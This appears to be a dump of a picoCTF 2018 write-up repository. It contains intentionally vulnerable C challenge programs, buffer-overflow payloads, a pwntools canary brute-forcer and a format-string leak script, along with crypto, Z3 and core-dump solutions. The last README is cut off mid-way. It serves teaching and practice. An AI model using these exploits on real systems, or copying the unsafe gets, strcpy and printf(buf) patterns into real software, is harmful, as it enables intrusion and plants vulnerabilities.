https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/buffer_overflow_0/vuln -------------------------------------------------------------------------------- /Solved/buffer_overflow_0/vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define FLAGSIZE_MAX 64 7 | 8 | char flag[FLAGSIZE_MAX]; 9 | 10 | void sigsegv_handler(int sig) { 11 | fprintf(stderr, "%s\n", flag); 12 | fflush(stderr); 13 | exit(1); 14 | } 15 | 16 | void vuln(char *input){ 17 | char buf[16]; 18 | strcpy(buf, input); 19 | } 20 | 21 | int main(int argc, char **argv){ 22 | 23 | FILE *f = fopen("flag.txt","r"); 24 | if (f == NULL) { 25 | printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); 26 | exit(0); 27 | } 28 | fgets(flag,FLAGSIZE_MAX,f); 29 | signal(SIGSEGV, sigsegv_handler); 30 | 31 | gid_t gid = getegid(); 32 | setresgid(gid, gid, gid); 33 | 34 | if (argc > 1) { 35 | vuln(argv[1]); 36 | printf("Thanks! Received: %s", argv[1]); 37 | } 38 | else 39 | printf("This program takes 1 argument.\n"); 40 | return 0; 41 | } 42 | -------------------------------------------------------------------------------- /Solved/buffer_overflow_1/README.md: -------------------------------------------------------------------------------- 1 | # buffer overflow 1 2 | Binary Exploitation - 200 points 3 | 4 | ## Challenge 5 | > Okay now you're cooking! This time can you overflow the buffer and return to the flag function in this [program](vuln)? You can find it in /problems/buffer-overflow-1_0_787812af44ed1f8151c893455eb1a613 on the shell server. 6 | 7 | [Source](vuln.c). 8 | 9 | ## Solution 10 | 11 | Return address is shown 12 | 13 | $ ./vuln 14 | Please enter your string: 15 | Okay, time to return... Fingers Crossed... Jumping to 0x80486b3 16 | 17 | Get offset value 18 | 19 | $ pwn cyclic 100 | ./vuln 20 | Please enter your string: 21 | Okay, time to return... Fingers Crossed... Jumping to 0x6161616c 22 | Segmentation fault 23 | 24 | $ pwn cyclic -l 0x6161616c 25 | 44 26 | 27 | Get address from GDB 28 | 29 | $ gdb vuln 30 | (gdb) info add win 31 | Symbol "win" is at 0x80485cb in a file compiled without debugging. 32 | 33 | Craft payload 34 | 35 | $ python -c 'print "\x00"*44 + "\xcb\x85\x04\x08"' | ./vuln 36 | Please enter your string: 37 | Okay, time to return... Fingers Crossed... Jumping to 0x80485cb 38 | picoCTF{addr3ss3s_ar3_3asy3656a9b3}Segmentation fault 39 | 40 | 41 | ## Flag 42 | 43 | picoCTF{addr3ss3s_ar3_3asy3656a9b3} 44 | -------------------------------------------------------------------------------- /Solved/buffer_overflow_1/vuln: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/buffer_overflow_1/vuln -------------------------------------------------------------------------------- /Solved/buffer_overflow_1/vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "asm.h" 7 | 8 | #define BUFSIZE 32 9 | #define FLAGSIZE 64 10 | 11 | void win() { 12 | char buf[FLAGSIZE]; 13 | FILE *f = fopen("flag.txt","r"); 14 | if (f == NULL) { 15 | printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); 16 | exit(0); 17 | } 18 | 19 | fgets(buf,FLAGSIZE,f); 20 | printf(buf); 21 | } 22 | 23 | void vuln(){ 24 | char buf[BUFSIZE]; 25 | gets(buf); 26 | 27 | printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address()); 28 | } 29 | 30 | int main(int argc, char **argv){ 31 | 32 | setvbuf(stdout, NULL, _IONBF, 0); 33 | 34 | gid_t gid = getegid(); 35 | setresgid(gid, gid, gid); 36 | 37 | puts("Please enter your string: "); 38 | vuln(); 39 | return 0; 40 | } 41 | 42 | -------------------------------------------------------------------------------- /Solved/buffer_overflow_2/README.md: -------------------------------------------------------------------------------- 1 | # buffer overflow 2 2 | Binary Exploitation - 250 points 3 | 4 | ## Challenge 5 | > Alright, this time you'll need to control some arguments. Can you get the flag from this [program](vuln)? You can find it in /problems/buffer-overflow-2_4_ca1cb0da49310dd45c811348a235d257 on the shell server. 6 | 7 | [Source.](vuln.c) 8 | 9 | ## Hint 10 | > 11 | 12 | ## Solution 13 | 14 | #### Find Offset 15 | $ pwn cyclic 200 | strace ./vuln 16 | --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x62616164} --- 17 | +++ killed by SIGSEGV +++ 18 | Segmentation fault 19 | 20 | $ pwn cyclic -l 0x62616164 21 | 112 22 | 23 | #### Get addresses 24 | 25 | (gdb) b win 26 | Breakpoint 1 at 0x80485d1 27 | 28 | 29 | `win \xcb\x85\x04\x08` 30 | 31 | 32 | --- 33 | 34 | #### Form payload 35 | 36 | https://ucsd-progsys.github.io/131-web/static/img/stack-layout.png 37 | 38 | The final format will be as follows: 39 | 40 | [112 bytes offset] + [return address towards win()] + [return address of win()] + [param1] + [param2] 41 | 42 | Execute 43 | 44 | $ python -c 'print "\x00"*112 + "\xcb\x85\x04\x08" + "junk" + ("\xEF\xBE\xAD\xDE" + "\xDE\xC0\xAD\xDE")' | ./vuln 45 | Please enter your string: 46 | 47 | picoCTF{addr3ss3s_ar3_3asy30723282}Segmentation fault 48 | 49 | 50 | ## Flag 51 | 52 | picoCTF{addr3ss3s_ar3_3asy30723282} 53 | -------------------------------------------------------------------------------- /Solved/buffer_overflow_2/vuln: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/buffer_overflow_2/vuln -------------------------------------------------------------------------------- /Solved/buffer_overflow_2/vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define BUFSIZE 100 8 | #define FLAGSIZE 64 9 | 10 | void win(unsigned int arg1, unsigned int arg2) { 11 | char buf[FLAGSIZE]; 12 | FILE *f = fopen("flag.txt","r"); 13 | if (f == NULL) { 14 | printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); 15 | exit(0); 16 | } 17 | 18 | fgets(buf,FLAGSIZE,f); 19 | if (arg1 != 0xDEADBEEF) 20 | return; 21 | if (arg2 != 0xDEADC0DE) 22 | return; 23 | printf(buf); 24 | } 25 | 26 | void vuln(){ 27 | char buf[BUFSIZE]; 28 | gets(buf); 29 | puts(buf); 30 | } 31 | 32 | int main(int argc, char **argv){ 33 | 34 | setvbuf(stdout, NULL, _IONBF, 0); 35 | 36 | gid_t gid = getegid(); 37 | setresgid(gid, gid, gid); 38 | 39 | puts("Please enter your string: "); 40 | vuln(); 41 | return 0; 42 | } 43 | 44 | -------------------------------------------------------------------------------- /Solved/buffer_overflow_3/README.md: -------------------------------------------------------------------------------- 1 | # buffer overflow 3 2 | Binary Exploitation - 450 points 3 | 4 | ## Challenge 5 | > It looks like Dr. Xernon added a stack canary to this [program](vuln) to protect against buffer overflows. 6 | 7 | >Do you think you can bypass the protection and get the flag? You can find it in /problems/buffer-overflow-3_3_6bcc2aa22b2b7a4a7e3ca6b2e1194faf. 8 | 9 | >[Source.](vuln.c) 10 | 11 | ## Hint 12 | > Maybe there's a smart way to brute-force the canary? 13 | 14 | 15 | ## Solution 16 | 17 | - Bruteforce the canary 18 | - Fuzz for the offset size 19 | - Override return address to win() 20 | 21 | 22 | ## Flag 23 | 24 | Progress IHwj 25 | [+] Starting local process './vuln': pid 1014106 26 | [*] Switching to interactive mode 27 | [*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 1014106) 28 | How Many Bytes will You Write Into the Buffer? 29 | > Input> Ok... Now Where's the Flag? 30 | picoCTF{eT_tU_bRuT3_F0Rc3_58bc7747} -------------------------------------------------------------------------------- /Solved/buffer_overflow_3/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from pwn import * 3 | import string 4 | 5 | win_address = 0x80486eb 6 | buffer_size = 32 # before canary 7 | offset_size = 16 # after canary 8 | 9 | def attempt(ch): 10 | p = process('./vuln') 11 | 12 | # How Many Bytes will You Write Into the Buffer? 13 | # Read the exact number of bytes so that we 14 | # can get rid of the the trailing newline 15 | p.sendline(str(len(ch) + buffer_size)) 16 | 17 | # Send payload 18 | p.recvuntil("Input> ") 19 | p.sendline("A" * buffer_size + ch) 20 | 21 | result = p.recvline() 22 | p.close() 23 | 24 | if 'Stack Smashing Detected' in result: 25 | return False 26 | elif "Ok... Now Where's the Flag?" in result: 27 | return True 28 | 29 | return False 30 | 31 | # Get canary value 32 | canary = '' 33 | for iteration in range(4): 34 | for ch in string.printable: 35 | print "Attempt", ch 36 | if attempt(canary + ch): 37 | canary += ch 38 | break 39 | print "Progress", canary 40 | 41 | # form payload 42 | p = process('./vuln') 43 | payload = "A" * buffer_size + canary + "B" * offset_size + p32(win_address) 44 | p.sendline(str(len(payload))) 45 | p.sendline(payload) 46 | p.interactive() 47 | 48 | #core = p.corefile 49 | #print "EIP", core.eip 50 | -------------------------------------------------------------------------------- /Solved/buffer_overflow_3/vuln: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/buffer_overflow_3/vuln -------------------------------------------------------------------------------- /Solved/buffer_overflow_3/vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define BUFSIZE 32 10 | #define FLAGSIZE 64 11 | #define CANARY_SIZE 4 12 | 13 | void win() { 14 | char buf[FLAGSIZE]; 15 | FILE *f = fopen("flag.txt","r"); 16 | if (f == NULL) { 17 | printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); 18 | exit(0); 19 | } 20 | 21 | fgets(buf,FLAGSIZE,f); 22 | puts(buf); 23 | fflush(stdout); 24 | } 25 | 26 | char global_canary[CANARY_SIZE]; 27 | void read_canary() { 28 | FILE *f = fopen("canary.txt","r"); 29 | if (f == NULL) { 30 | printf("Canary is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); 31 | exit(0); 32 | } 33 | 34 | fread(global_canary,sizeof(char),CANARY_SIZE,f); 35 | fclose(f); 36 | } 37 | 38 | void vuln(){ 39 | char canary[CANARY_SIZE]; 40 | char buf[BUFSIZE]; 41 | char length[BUFSIZE]; 42 | int count; 43 | int x = 0; 44 | memcpy(canary,global_canary,CANARY_SIZE); 45 | printf("How Many Bytes will You Write Into the Buffer?\n> "); 46 | while (x "); 54 | read(0,buf,count); 55 | 56 | if (memcmp(canary,global_canary,CANARY_SIZE)) { 57 | printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n"); 58 | exit(-1); 59 | } 60 | printf("Ok... Now Where's the Flag?\n"); 61 | fflush(stdout); 62 | } 63 | 64 | int main(int argc, char **argv){ 65 | 66 | setvbuf(stdout, NULL, _IONBF, 0); 67 | 68 | // Set the gid to the effective gid 69 | // this prevents /bin/sh from dropping the privileges 70 | int i; 71 | gid_t gid = getegid(); 72 | setresgid(gid, gid, gid); 73 | read_canary(); 74 | vuln(); 75 | return 0; 76 | } 77 | -------------------------------------------------------------------------------- /Solved/caesar_cipher_2/README.md: -------------------------------------------------------------------------------- 1 | # caesar cipher 2 2 | Cryptography - 250 points 3 | 4 | ## Challenge 5 | > Can you help us decrypt this [message](ciphertext)? We believe it is a form of a caesar cipher. You can find the ciphertext in /problems/caesar-cipher-2_2_d9c42f8026f320079f3d4fcbaa410615 on the shell server. 6 | 7 | ## Hint 8 | > You'll have figure out the correct alphabet that was used to encrypt the ciphertext from the ascii character set 9 | 10 | >ASCII Table 11 | 12 | ## Solution 13 | 14 | A hard challenge to understand, but simple to solve once I figured it out... 15 | --- 16 | 17 | Ciphertext 18 | 19 | PICO#4&[C!ESA2?#I0H%R3?JU34?A2%N4?S%C5R%] 20 | 21 | From the prefix of picoCTF{, we know that 22 | 23 | P --> p 24 | # --> C 25 | 4 --> T 26 | & --> F 27 | [ --> { 28 | 29 | With this, looking at the ASCII table, all the hex codes will be shifted up by 0x20 30 | 31 | $ python3 32 | >>> ctext = list("PICO#4&[C!ESA2?#I0H%R3?JU34?A2%N4?S%C5R%]") 33 | >>> ctext = list(map(lambda x: ord(x), ctext)) 34 | 35 | >>> text = list(map(lambda x: x + 0x20, ctext)) 36 | >>> ''.join(map(lambda x: chr(x), text)) 37 | 'picoCTF{cAesaR_CiPhErS_juST_aREnT_sEcUrE}' 38 | 39 | 40 | ## Flag 41 | 42 | picoCTF{cAesaR_CiPhErS_juST_aREnT_sEcUrE} 43 | -------------------------------------------------------------------------------- /Solved/caesar_cipher_2/ciphertext: -------------------------------------------------------------------------------- 1 | PICO#4&[C!ESA2?#I0H%R3?JU34?A2%N4?S%C5R%] -------------------------------------------------------------------------------- /Solved/circuit123/README.md: -------------------------------------------------------------------------------- 1 | # circuit123 2 | Reversing - 800 points 3 | 4 | ## Challenge 5 | > Can you crack the key to decrypt map2 for us? The key to map1 is 11443513758266689915. 6 | 7 | [decrypt.py](decrypt.py) 8 | 9 | [map1.txt](map1.txt) 10 | 11 | [map2.txt](map2.txt) 12 | 13 | ## Hint 14 | > Have you heard of z3? 15 | 16 | ## Solution 17 | 18 | ***Solution is simply to convert the `verify()` function into constrain equations in Z3*** 19 | 20 | --- 21 | 22 | 23 | Running the solver. I ensured it worked for map1.txt first, and then I moved on to solve map2.txt 24 | 25 | $ export DYLD_LIBRARY_PATH=$DYLD_LIBRARY_PATH:$(pwd)/bin 26 | $ export PYTHONPATH=$(pwd)/bin/python 27 | $ python solve.py 28 | sequence 1011001101001100110110000111001011110101010001011111011101101001111010100110001001110111011010000101001000101110110110001010010110011001100111101001011010111100111101110100011001101011101110100011001100111101110101111010111101011110100011010111101000110011001111010010110101111001111100111110011110111010001100101001011010111100111101110101111010001101011110100011001101011101001010111010111101011110101111010001101011110101111010001101011110100011001100111110101110100101010010110101110100101100111110101111010111101011110011111010111010010101110101111010111101000110100000100110011110100101010010101110101111010111101000110010111010111101011110101111010111101011110100011010111101011110101111010111101000110010100101011101011110101111010111101011110100011001010010101110101111010111101000110101111010111101000110011010111100111110101110111010001100101110101111010001101011110100011010001100110011110100101101011101001010100101101011110011110100101101011110101110111010001100110101111001111101011101110101111010110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 29 | key 219465169949186335766963147192904921805 30 | 31 | 32 | Plug into the decryptor and get the flag 33 | 34 | $ python decrypt.py 219465169949186335766963147192904921805 map2.txt 35 | Attempting to decrypt map2.txt... 36 | Congrats the flag for map2.txt is: picoCTF{36cc0cc10d273941c34694abdb21580d__aw350m3_ari7hm37ic__} 37 | 38 | ## Flag 39 | 40 | picoCTF{36cc0cc10d273941c34694abdb21580d__aw350m3_ari7hm37ic__} 41 | -------------------------------------------------------------------------------- /Solved/circuit123/decrypt-debug.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | 3 | from hashlib import sha512 4 | import sys 5 | 6 | def verify(x, chalbox): 7 | length, gates, check = chalbox 8 | b = [(x >> i) & 1 for i in range(length)] 9 | 10 | print 'b', b 11 | print 'len(b)', len(b) 12 | 13 | for name, args in gates: 14 | if name == 'true': 15 | b.append(1) 16 | else: 17 | u1 = b[args[0][0]] ^ args[0][1] 18 | u2 = b[args[1][0]] ^ args[1][1] 19 | if name == 'or': 20 | b.append(u1 | u2) 21 | elif name == 'xor': 22 | b.append(u1 ^ u2) 23 | 24 | print 'b', b 25 | print 'len(b)', len(b) 26 | print 'check[0]', check[0] 27 | print 'check[1]', check[1] 28 | print ''.join(map(lambda x: '0' if x == 0 else '1', b)) 29 | 30 | return b[check[0]] ^ check[1] 31 | 32 | def dec(x, w): 33 | z = int(sha512(str(int(x))).hexdigest(), 16) 34 | return '{:x}'.format(w ^ z).decode('hex') 35 | 36 | if __name__ == '__main__': 37 | if len(sys.argv) < 3: 38 | print 'Usage: ' + sys.argv[0] + ' ' 39 | print 'Example: Try Running ' + sys.argv[0] + ' 11443513758266689915 map1.txt' 40 | exit(1) 41 | with open(sys.argv[2], 'r') as f: 42 | cipher, chalbox = eval(f.read()) 43 | 44 | key = int(sys.argv[1]) % (1 << chalbox[0]) 45 | print 'Attempting to decrypt ' + sys.argv[2] + '...' 46 | if verify(key, chalbox): 47 | print 'Congrats the flag for ' + sys.argv[2] + ' is:', dec(key, cipher) 48 | else: 49 | print 'Wrong key for ' + sys.argv[2] + '.' 50 | -------------------------------------------------------------------------------- /Solved/circuit123/decrypt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | 3 | from hashlib import sha512 4 | import sys 5 | 6 | def verify(x, chalbox): 7 | length, gates, check = chalbox 8 | b = [(x >> i) & 1 for i in range(length)] 9 | for name, args in gates: 10 | if name == 'true': 11 | b.append(1) 12 | else: 13 | u1 = b[args[0][0]] ^ args[0][1] 14 | u2 = b[args[1][0]] ^ args[1][1] 15 | if name == 'or': 16 | b.append(u1 | u2) 17 | elif name == 'xor': 18 | b.append(u1 ^ u2) 19 | return b[check[0]] ^ check[1] 20 | 21 | def dec(x, w): 22 | z = int(sha512(str(int(x))).hexdigest(), 16) 23 | return '{:x}'.format(w ^ z).decode('hex') 24 | 25 | if __name__ == '__main__': 26 | if len(sys.argv) < 3: 27 | print 'Usage: ' + sys.argv[0] + ' ' 28 | print 'Example: Try Running ' + sys.argv[0] + ' 11443513758266689915 map1.txt' 29 | exit(1) 30 | with open(sys.argv[2], 'r') as f: 31 | cipher, chalbox = eval(f.read()) 32 | 33 | key = int(sys.argv[1]) % (1 << chalbox[0]) 34 | print 'Attempting to decrypt ' + sys.argv[2] + '...' 35 | if verify(key, chalbox): 36 | print 'Congrats the flag for ' + sys.argv[2] + ' is:', dec(key, cipher) 37 | else: 38 | print 'Wrong key for ' + sys.argv[2] + '.' 39 | -------------------------------------------------------------------------------- /Solved/circuit123/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from z3 import * 3 | 4 | filename = "map1.txt" 5 | filename = "map2.txt" 6 | 7 | with open(filename, 'r') as f: 8 | cipher, chalbox = eval(f.read()) 9 | 10 | length, gates, check = chalbox 11 | 12 | # Create bit vectors 13 | b = [] 14 | total_length = check[0] + 1 15 | for count in range(total_length): 16 | b.append(BitVec(str(count), 1)) 17 | 18 | 19 | # verify() constraints 20 | s = Solver() 21 | 22 | for i, (name, args) in enumerate(gates): 23 | position = i + length 24 | 25 | if name == 'true': 26 | # b.append(1) 27 | s.add(b[position] == 1) 28 | else: 29 | u1 = b[args[0][0]] ^ args[0][1] 30 | u2 = b[args[1][0]] ^ args[1][1] 31 | if name == 'or': 32 | # b.append(u1 | u2) 33 | s.add(b[position] == (u1 | u2)) 34 | elif name == 'xor': 35 | # b.append(u1 ^ u2) 36 | s.add(b[position] ==(u1 ^ u2)) 37 | else: 38 | raise Exception("unknown gate") 39 | 40 | s.add((b[check[0]] ^ check[1]) == 1) 41 | 42 | # Solve 43 | # https://z3prover.github.io/api/html/classz3py_1_1_model_ref.html 44 | if s.check(): 45 | m = s.model() 46 | 47 | sequence = '' 48 | key = 0 49 | for item in b: 50 | name = str(item) 51 | value = str(m[item]) 52 | # print(name, value) 53 | 54 | sequence += value 55 | 56 | bit_pos = int(name) 57 | value = int(value) 58 | if bit_pos < length: 59 | key |= value << bit_pos 60 | 61 | print 'sequence', sequence 62 | print 'key', key 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /Solved/core/README.md: -------------------------------------------------------------------------------- 1 | # core 2 | Forensics - 350 points 3 | 4 | ## Challenge 5 | > This [program](print_flag) was about to print the flag when it died. Maybe the flag is still in this [core](core) file that it dumped? Also available at /problems/core_3_bbdfe8f633bce938028c1339013a4865 on the shell server. 6 | 7 | ## Hint 8 | > What is a core file? 9 | 10 | > You may find this reference helpful. 11 | http://darkdust.net/files/GDB%20Cheat%20Sheet.pdf 12 | 13 | > Try to figure out where the flag was read into memory using the disassembly and strace. 14 | https://linux.die.net/man/1/strace 15 | 16 | >You should study the format options on the cheat sheet and use the examine (x) or print (p) commands. disas may also be useful. 17 | 18 | ## Solution 19 | 20 | [Decompiling the program](print_flag-decompiled.c), we see that: 21 | 22 | 1. it reads a seed from the environment variable `SEED_ENV` 23 | 2. it reads 32 bytes from the file `./flag` 24 | 3. the flag is printed out in the function `print_flag()` 25 | Using GDB we can analyse the memory. 26 | 27 | But first let's do a test. 28 | 29 | $ export SEED_ENV="ABCD" 30 | $ pwn cyclic 32 > flag 31 | $ ./print_flag 32 | your flag is: picoCTF{aaaabaaacaaadaaaeaaafaaagaaahaaa} 33 | 34 | In GDB, set a breakpoint and start the program 35 | 36 | $ gdb ./print_flag 37 | 38 | (gdb) br print_flag 39 | Breakpoint 1 at 0x80487c7: file ./print_flag.c, line 91. 40 | 41 | (gdb) run 42 | Starting program: /home/zst123/pr/print_flag 43 | 44 | Breakpoint 1, print_flag () at ./print_flag.c:91 45 | 91 ./print_flag.c: Permission denied. 46 | 47 | Now we can analyse the memory 48 | 49 | (gdb) info proc map 50 | process 2737150 51 | Mapped address spaces: 52 | 53 | Start Addr End Addr Size Offset objfile 54 | 0x8048000 0x8049000 0x1000 0x0 /home/zst123/pr/print_flag 55 | 0x8049000 0x804a000 0x1000 0x0 /home/zst123/pr/print_flag 56 | 0x804a000 0x804b000 0x1000 0x1000 /home/zst123/pr/print_flag 57 | 0x804b000 0x80b7000 0x6c000 0x0 [heap] 58 | 0xf7e15000 0xf7e16000 0x1000 0x0 59 | ... 60 | 61 | We can search the stack and heap memory for our flag 62 | 63 | (gdb) find 0x8048000,0x80b7000,"aaaabaaacaaadaaaeaaafaaagaaahaaa" 64 | 0x80610f0 65 | warning: Unable to access 15984 bytes of target memory at 0x80b3191, halting search. 66 | 1 pattern found. 67 | 68 | (gdb) printf "%s\n", 0x80610f0 69 | aaaabaaacaaadaaaeaaafaaagaaahaaa 70 | 71 | Sweet, our flag is at the address `0x80610f0`... 72 | 73 | Now open the core dump file and do the same 74 | 75 | $ gdb ./print_flag ./core 76 | 77 | Core was generated by `/opt/hacksports/staging/core_3_7696529112109598/problem_files/print_flag'. 78 | Program terminated with signal SIGTRAP, Trace/breakpoint trap. 79 | #0 print_flag () at ./print_flag.c:90 80 | 90 ./print_flag.c: Permission denied. 81 | (gdb) printf "%s\n", 0x80610f0 82 | 8a1f03cbcf407a296fa0bcf149fc5879 83 | (gdb) 84 | 85 | Flag will be printed as `picoCTF{%s}` 86 | 87 | ## Flag 88 | 89 | picoCTF{8a1f03cbcf407a296fa0bcf149fc5879} 90 | -------------------------------------------------------------------------------- /Solved/core/core: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/core/core -------------------------------------------------------------------------------- /Solved/core/print_flag: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/core/print_flag -------------------------------------------------------------------------------- /Solved/echooo/README.md: -------------------------------------------------------------------------------- 1 | # echooo 2 | Binary Exploitation - 300 points 3 | 4 | ## Challenge 5 | > This [program](echo) prints any input you give it. Can you leak the flag? 6 | 7 | > Connect with nc 2018shell2.picoctf.com 34802. 8 | 9 | > [Source](echo.c). 10 | 11 | ## Hint 12 | > If only the program used puts... 13 | 14 | 15 | ## Solution 16 | 17 | Format string exploit 18 | 19 | - https://stackoverflow.com/a/7459758 20 | - http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html 21 | 22 | --- 23 | 24 | Check that the stack is printed properly 25 | 26 | $ nc 2018shell2.picoctf.com 34802 27 | Time to learn about Format Strings! 28 | We will evaluate any format string you give us with printf(). 29 | See if you can get the flag! 30 | 31 | > %x 32 | 40 33 | 34 | > ABCD %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x 35 | ABCD 00000040 f76e85a0 08048647 f771fa74 00000001 f76f7490 ffb8dcd4 ffb8dbdc 0000048f 08cd8008 44434241 > 8x 00000040 f76e85a0 08048647 f771fa74 36 | 37 | > ABCD %11$08x 38 | ABCD 44434241 39 | 40 | So we know that offset `11` points to `buf[64]`. 41 | 42 | And to reach `flag[64]`, we need to read past 64 bytes of `buf`. 43 | 44 | So start the offset from `11 + 64 / 4` and the offset for flag is at `27`. 45 | 46 | echooo $ python solve.py 47 | [+] Opening connection to 2018shell2.picoctf.com on port 34802: Done 48 | Received: 6f636970 49 | Progress: pico 50 | Received: 7b465443 51 | Progress: picoCTF{ 52 | Received: 6d526f66 53 | Progress: picoCTF{foRm 54 | Received: 735f7434 55 | Progress: picoCTF{foRm4t_s 56 | Received: 6e695274 57 | Progress: picoCTF{foRm4t_stRin 58 | Received: 615f7347 59 | Progress: picoCTF{foRm4t_stRinGs_a 60 | Received: 445f6552 61 | Progress: picoCTF{foRm4t_stRinGs_aRe_D 62 | Received: 65476e61 63 | Progress: picoCTF{foRm4t_stRinGs_aRe_DanGe 64 | Received: 73753072 65 | Progress: picoCTF{foRm4t_stRinGs_aRe_DanGer0us 66 | Received: 3866335f 67 | Progress: picoCTF{foRm4t_stRinGs_aRe_DanGer0us_3f8 68 | Received: 64656362 69 | Progress: picoCTF{foRm4t_stRinGs_aRe_DanGer0us_3f8bced 70 | Received: 000a7d33 71 | Progress: picoCTF{foRm4t_stRinGs_aRe_DanGer0us_3f8bced3} 72 | \x00 73 | [*] Closed connection to 2018shell2.picoctf.com port 34802 74 | echooo $ 75 | 76 | ## Flag 77 | 78 | picoCTF{foRm4t_stRinGs_aRe_DanGer0us_3f8bced3} 79 | -------------------------------------------------------------------------------- /Solved/echooo/echo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/echooo/echo -------------------------------------------------------------------------------- /Solved/echooo/echo.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int main(int argc, char **argv){ 8 | 9 | setvbuf(stdout, NULL, _IONBF, 0); 10 | 11 | char buf[64]; 12 | char flag[64]; 13 | char *flag_ptr = flag; 14 | 15 | // Set the gid to the effective gid 16 | gid_t gid = getegid(); 17 | setresgid(gid, gid, gid); 18 | 19 | memset(buf, 0, sizeof(flag)); 20 | memset(buf, 0, sizeof(buf)); 21 | 22 | puts("Time to learn about Format Strings!"); 23 | puts("We will evaluate any format string you give us with printf()."); 24 | puts("See if you can get the flag!"); 25 | 26 | FILE *file = fopen("flag.txt", "r"); 27 | if (file == NULL) { 28 | printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); 29 | exit(0); 30 | } 31 | 32 | fgets(flag, sizeof(flag), file); 33 | 34 | while(1) { 35 | printf("> "); 36 | fgets(buf, sizeof(buf), stdin); 37 | printf(buf); 38 | } 39 | return 0; 40 | } 41 | -------------------------------------------------------------------------------- /Solved/echooo/solve.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | from pwn import * 3 | 4 | t = remote("2018shell2.picoctf.com", 34802) 5 | 6 | 7 | # Offset is 4 bytes 8 | # Since offset 11 is at buf[64] 9 | # So 64/4 more will reach flag[64] 10 | offset = 11 + 64/4 11 | flag = '' 12 | 13 | while True: 14 | # Send format string 15 | t.recvuntil("> ") 16 | t.sendline("%" + str(offset) + "$08x") 17 | 18 | # Receive the dword 19 | dword = t.recvline().strip() 20 | print "Received:", dword 21 | 22 | # parse into string 23 | flag += p32(int(dword, 16)) 24 | print "Progress:", flag 25 | 26 | # offset for next dword 27 | offset +=1 28 | if '\x00' in flag: 29 | quit() 30 | -------------------------------------------------------------------------------- /Solved/eleCTRic/README.md: -------------------------------------------------------------------------------- 1 | # eleCTRic 2 | Cryptography - 400 points 3 | 4 | ## Challenge 5 | > You came across a custom server that Dr Xernon's company eleCTRic Ltd uses. It seems to be storing some encrypted files. Can you get us the flag? Connect with nc 2018shell2.picoctf.com 42185. [Source.](eleCTRic.py) 6 | 7 | ## Hint 8 | > I have repeated myself many many many times- do not repeat yourself. 9 | 10 | > Do I need to say it in different words? You mustn't repeat thyself. 11 | 12 | ## Solution 13 | 14 | ### Theory of CTR mode 15 | 16 | ![aes-ctr.png](aes-ctr.png) 17 | 18 | https://crypto.stackexchange.com/questions/33846/is-regular-ctr-mode-vulnerable-to-any-attacks 19 | 20 | https://crypto.stackexchange.com/questions/48397/brute-force-get-aes-keys-by-multiple-plain-texts-with-their-cipher-texts 21 | 22 | With CTR or OFB mode, this is trivial: XORing any ciphertext with the corresponding plaintext will give you the keystream, which you can then XOR with any other ciphertext to decrypt it. Or, if you're feeling lazy, just take any ciphertext and submit it as the plaintext for encryption. Since CTR and OFB mode encryption and decryption are the same operation, this will directly give you the original decrypted message. 23 | 24 | We have control over the input (filename when creating a new file) and the output (the share code generated from the filename is given to us). 25 | 26 | Since in AES-CTR mode, the keystream is kept constant, we can do `plaintext XOR ciphertext = keystream`. Or in context of the problem it will be `filename.txt XOR share_code1 = keystream` 27 | 28 | After which, we can do `flag_filename.txt ^ keystream = share_code2`. 29 | 30 | We then submit `share_code2` to the server to get the flag. 31 | 32 | ### Solving 33 | 34 | $ nc 2018shell2.picoctf.com 42185 35 | Initializing Problem... 36 | Welcome to eleCTRic Ltd's Safe Crypto Storage 37 | --------------------------------------------- 38 | 39 | Choices: 40 | E[n]crypt and store file 41 | D[e]crypt file 42 | L[i]st files 43 | 